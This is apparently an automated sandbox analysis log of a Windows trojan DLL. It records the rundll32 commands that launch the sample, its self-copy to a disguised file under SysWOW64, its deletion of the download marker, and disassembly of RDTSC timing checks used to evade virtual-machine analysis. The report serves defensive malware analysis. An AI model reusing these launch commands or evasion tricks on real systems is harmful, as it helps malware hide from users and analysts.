Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F96B91	0_2_00F96B91
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F8938F	0_2_00F8938F
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F8F984	0_2_00F8F984
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FA1987	0_2_00FA1987
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F87D87	0_2_00F87D87
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F82B7C	0_2_00F82B7C
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F95B7C	0_2_00F95B7C
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F8597D	0_2_00F8597D
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F9C772	0_2_00F9C772
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F82575	0_2_00F82575
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F82176	0_2_00F82176
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F8996C	0_2_00F8996C
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F8196D	0_2_00F8196D
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F9F561	0_2_00F9F561
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FA2560	0_2_00FA2560
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F89565	0_2_00F89565
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F85166	0_2_00F85166
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F8DD66	0_2_00F8DD66
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F88D59	0_2_00F88D59
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F8635F	0_2_00F8635F
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FA314A	0_2_00FA314A
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FA2D4F	0_2_00FA2D4F
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F84F42	0_2_00F84F42
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F9C145	0_2_00F9C145
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F87739	0_2_00F87739
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F9473A	0_2_00F9473A
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F93130	0_2_00F93130
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F8E336	0_2_00F8E336
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F9CF2C	0_2_00F9CF2C
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F8B12E	0_2_00F8B12E
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F86125	0_2_00F86125
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F98518	0_2_00F98518
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F88112	0_2_00F88112
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F85314	0_2_00F85314
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F84716	0_2_00F84716
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F9D10B	0_2_00F9D10B
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F9710D	0_2_00F9710D
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FA3306	0_2_00FA3306
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED25980	0_2_6ED25980
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED26100	0_2_6ED26100
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED4AE28	0_2_6ED4AE28
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED51F65	0_2_6ED51F65
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED32C70	0_2_6ED32C70
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED41D50	0_2_6ED41D50
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED22D10	0_2_6ED22D10
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED3FD1F	0_2_6ED3FD1F
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED558EF	0_2_6ED558EF
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED2E6B0	0_2_6ED2E6B0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED557CB	0_2_6ED557CB
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED50569	0_2_6ED50569
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED29380	0_2_6ED29380
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED3C366	0_2_6ED3C366
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED3C132	0_2_6ED3C132
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6ED25980	2_2_6ED25980
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6ED26100	2_2_6ED26100
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6ED4AE28	2_2_6ED4AE28
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6ED51F65	2_2_6ED51F65
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6ED32C70	2_2_6ED32C70
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6ED41D50	2_2_6ED41D50
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6ED22D10	2_2_6ED22D10
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6ED3FD1F	2_2_6ED3FD1F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6ED558EF	2_2_6ED558EF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6ED2E6B0	2_2_6ED2E6B0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6ED557CB	2_2_6ED557CB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6ED50569	2_2_6ED50569
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6ED29380	2_2_6ED29380
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6ED3C366	2_2_6ED3C366
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6ED3C132	2_2_6ED3C132
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005E06EF	3_2_005E06EF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005DED95	3_2_005DED95
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005D645F	3_2_005D645F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005D604E	3_2_005D604E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005DE478	3_2_005DE478
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005E1C71	3_2_005E1C71
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005E0C66	3_2_005E0C66
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005DBA18	3_2_005DBA18
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005E2C16	3_2_005E2C16
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005D1C12	3_2_005D1C12
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005CF20D	3_2_005CF20D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005DCC3F	3_2_005DCC3F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005C3E3B	3_2_005C3E3B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005D0A37	3_2_005D0A37
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005D0824	3_2_005D0824
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005D7EDD	3_2_005D7EDD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005E0AD3	3_2_005E0AD3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005C54C0	3_2_005C54C0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005CE6FD	3_2_005CE6FD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005E20F8	3_2_005E20F8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005CBEF5	3_2_005CBEF5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005CA8E8	3_2_005CA8E8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005CF699	3_2_005CF699
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005CD899	3_2_005CD899
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005CC69B	3_2_005CC69B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005C3085	3_2_005C3085
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005D3ABE	3_2_005D3ABE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005CAEB9	3_2_005CAEB9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005DB0BA	3_2_005DB0BA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005C68AD	3_2_005C68AD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005D56A9	3_2_005D56A9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005D04A4	3_2_005D04A4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005CF4A5	3_2_005CF4A5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005C635F	3_2_005C635F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005C8D59	3_2_005C8D59
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005E2D4F	3_2_005E2D4F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005E314A	3_2_005E314A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005DC145	3_2_005DC145
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005C4F42	3_2_005C4F42
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005C2B7C	3_2_005C2B7C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005D5B7C	3_2_005D5B7C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005C597D	3_2_005C597D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005C2575	3_2_005C2575
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005C2176	3_2_005C2176
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005DC772	3_2_005DC772
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005C996C	3_2_005C996C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005C196D	3_2_005C196D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005C9565	3_2_005C9565
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005C5166	3_2_005C5166
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005CDD66	3_2_005CDD66
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005DF561	3_2_005DF561
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005E2560	3_2_005E2560
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005D8518	3_2_005D8518
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005C5314	3_2_005C5314
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005C4716	3_2_005C4716
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005C8112	3_2_005C8112
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005D710D	3_2_005D710D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005DD10B	3_2_005DD10B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005E3306	3_2_005E3306
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005C7739	3_2_005C7739
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005D473A	3_2_005D473A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005CE336	3_2_005CE336
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005D3130	3_2_005D3130
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005DCF2C	3_2_005DCF2C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005CB12E	3_2_005CB12E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005C6125	3_2_005C6125
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005D13DB	3_2_005D13DB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005DE7DA	3_2_005DE7DA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005D89DA	3_2_005D89DA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005D4DC5	3_2_005D4DC5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005D0FC5	3_2_005D0FC5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005C2DC5	3_2_005C2DC5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005C5DC3	3_2_005C5DC3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005C39C3	3_2_005C39C3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005C6BFE	3_2_005C6BFE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005DD5FE	3_2_005DD5FE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005C1DF9	3_2_005C1DF9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005D91F7	3_2_005D91F7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005CB7EC	3_2_005CB7EC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005CFBEF	3_2_005CFBEF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005E35E3	3_2_005E35E3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005D6B91	3_2_005D6B91
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005C938F	3_2_005C938F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005CF984	3_2_005CF984
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005E1987	3_2_005E1987
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005C7D87	3_2_005C7D87
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005C33A9	3_2_005C33A9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005D77A7	3_2_005D77A7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005DBFA1	3_2_005DBFA1

Source: C:\Windows\System32\loaddll32.exe	Code function: String function: 6ED34F90 appears 52 times
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 6ED34F90 appears 52 times

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED21230 ntlbxpnmpq,		0_2_6ED21230
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6ED21230 ntlbxpnmpq,		2_2_6ED21230

Source: C:\Windows\SysWOW64\rundll32.exe

Process Stats: CPU usage > 98%

Source: P5LROPCURK.dll

Binary or memory string: OriginalFilenameYlncpiqzme.dll6 vs P5LROPCURK.dll

Source: C:\Windows\System32\svchost.exe	Section loaded: xboxlivetitleid.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cdpsgshims.dll			Jump to behavior

Source: P5LROPCURK.dll

Virustotal: Detection: 26%

Source: P5LROPCURK.dll

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\loaddll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe "C:\Users\user\Desktop\P5LROPCURK.dll"
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\P5LROPCURK.dll",#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\P5LROPCURK.dll,Control_RunDLL
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\P5LROPCURK.dll",#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\P5LROPCURK.dll,agrwqhxohbh
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\P5LROPCURK.dll,aoydsyidkopcdbcv
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k NetworkService -p
Source: unknown	Process created: C:\Windows\System32\SgrmBroker.exe C:\Windows\system32\SgrmBroker.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\P5LROPCURK.dll",Control_RunDLL
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Itfgfdekendecpnp\cibm.oux",wUSgoatRqMcfEKj
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\P5LROPCURK.dll",Control_RunDLL
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\P5LROPCURK.dll",Control_RunDLL
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\P5LROPCURK.dll",Control_RunDLL
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k wsappx -p -s AppXSvc
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\P5LROPCURK.dll",#1	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\P5LROPCURK.dll,Control_RunDLL	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\P5LROPCURK.dll,agrwqhxohbh	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\P5LROPCURK.dll,aoydsyidkopcdbcv	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\P5LROPCURK.dll",Control_RunDLL	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\P5LROPCURK.dll",#1	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Itfgfdekendecpnp\cibm.oux",wUSgoatRqMcfEKj	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\P5LROPCURK.dll",Control_RunDLL	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\P5LROPCURK.dll",Control_RunDLL	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\P5LROPCURK.dll",Control_RunDLL	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: classification engine

Classification label: mal80.troj.evad.winDLL@30/2@0/29

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6ED2AF10 CoCreateInstance,OleRun,

0_2_6ED2AF10

Source: C:\Windows\SysWOW64\rundll32.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\P5LROPCURK.dll,Control_RunDLL

Source: C:\Windows\System32\conhost.exe

Mutant created: \BaseNamedObjects\Local\SM0:5764:120:WilError_01

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6ED25980 GetTickCount64,FindResourceA,

0_2_6ED25980

Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK
Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK
Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK
Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: P5LROPCURK.dll

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source: P5LROPCURK.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: P5LROPCURK.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: P5LROPCURK.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: P5LROPCURK.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: P5LROPCURK.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F8151C push ds; ret	0_2_00F81527
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F8150F push ds; ret	0_2_00F81527
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED34FE0 push ecx; ret	0_2_6ED34FF3
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED573E1 push ecx; ret	0_2_6ED573F4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6ED34FE0 push ecx; ret	2_2_6ED34FF3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6ED573E1 push ecx; ret	2_2_6ED573F4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005C151C push ds; ret	3_2_005C1527
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005C150F push ds; ret	3_2_005C1527

Source: P5LROPCURK.dll

Static PE information: real checksum: 0x75999 should be: 0x74ae0

Source: C:\Windows\SysWOW64\rundll32.exe

PE file moved: C:\Windows\SysWOW64\Itfgfdekendecpnp\cibm.oux

Jump to behavior

Hooking and other Techniques for Hiding and Protection:

Hides that the sample has been downloaded from the Internet (zone.identifier)

Show sources

Source: C:\Windows\SysWOW64\rundll32.exe

File opened: C:\Windows\SysWOW64\Itfgfdekendecpnp\cibm.oux:Zone.Identifier read attributes | delete

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion:

Tries to detect virtualization through RDTSC time measurements

Show sources

Source: C:\Windows\SysWOW64\rundll32.exe	RDTSC instruction interceptor: First address: 000000006ED26134 second address: 000000006ED26168 instructions: 0x00000000 rdtscp 0x00000003 mov dword ptr [ebp-08h], ecx 0x00000006 test edx, edx 0x00000008 jne 00007FD23CD6A744h 0x0000000a mov edi, 00D66F8Ch 0x0000000f mov dword ptr [ebp-14h], edi 0x00000012 rdtscp
Source: C:\Windows\SysWOW64\rundll32.exe	RDTSC instruction interceptor: First address: 000000006ED279F7 second address: 000000006ED27A0A instructions: 0x00000000 rdtscp 0x00000003 test edx, edx 0x00000005 jnbe 00007FD23C7587EEh 0x00000007 rdtscp
Source: C:\Windows\SysWOW64\rundll32.exe	RDTSC instruction interceptor: First address: 000000006ED27A0A second address: 000000006ED279F7 instructions: 0x00000000 rdtscp 0x00000003 mov ecx, dword ptr [esp+0Ch] 0x00000007 ror esi, 0Dh 0x0000000a mov eax, esi 0x0000000c pop esi 0x0000000d xor ecx, esp 0x0000000f call 00007FD23CD76E67h 0x00000014 cmp ecx, dword ptr [6ED6D008h] 0x0000001a jne 00007FD23CD6A723h 0x0000001c ret 0x0000001d mov esp, ebp 0x0000001f pop ebp 0x00000020 ret 0x00000021 mov cl, byte ptr [esi] 0x00000023 mov edi, eax 0x00000025 cmp cl, 00000061h 0x00000028 jc 00007FD23CD6A72Fh 0x0000002a movzx eax, cl 0x0000002d add edi, FFFFFFE0h 0x00000030 add edi, eax 0x00000032 jmp 00007FD23CD6A882h 0x00000037 mov eax, dword ptr [ebp-14h] 0x0000003a mov ecx, dword ptr [ebp-18h] 0x0000003d cdq 0x0000003e sub eax, edx 0x00000040 sar eax, 1 0x00000042 cmp eax, ecx 0x00000044 jl 00007FD23CD6A8EEh 0x0000004a add ebx, 0000FFFFh 0x00000050 inc esi 0x00000051 test bx, bx 0x00000054 jne 00007FD23CD6A57Eh 0x0000005a mov eax, dword ptr [ebp-14h] 0x0000005d cmp eax, ecx 0x0000005f cmovle eax, ecx 0x00000062 mov ecx, edi 0x00000064 mov dword ptr [ebp-14h], eax 0x00000067 call 00007FD23CD6BC83h 0x0000006c push ebp 0x0000006d mov ebp, esp 0x0000006f and esp, FFFFFFF8h 0x00000072 sub esp, 0Ch 0x00000075 mov eax, dword ptr [6ED6D008h] 0x0000007a xor eax, esp 0x0000007c mov dword ptr [esp+08h], eax 0x00000080 push esi 0x00000081 mov esi, ecx 0x00000083 rdtscp
Source: C:\Windows\SysWOW64\rundll32.exe	RDTSC instruction interceptor: First address: 000000006ED26134 second address: 000000006ED26168 instructions: 0x00000000 rdtscp 0x00000003 mov dword ptr [ebp-08h], ecx 0x00000006 test edx, edx 0x00000008 jne 00007FD23C758804h 0x0000000a mov edi, 00D66F8Ch 0x0000000f mov dword ptr [ebp-14h], edi 0x00000012 rdtscp
Source: C:\Windows\SysWOW64\rundll32.exe	RDTSC instruction interceptor: First address: 000000006ED279F7 second address: 000000006ED27A0A instructions: 0x00000000 rdtscp 0x00000003 test edx, edx 0x00000005 jnbe 00007FD23CD6A72Eh 0x00000007 rdtscp
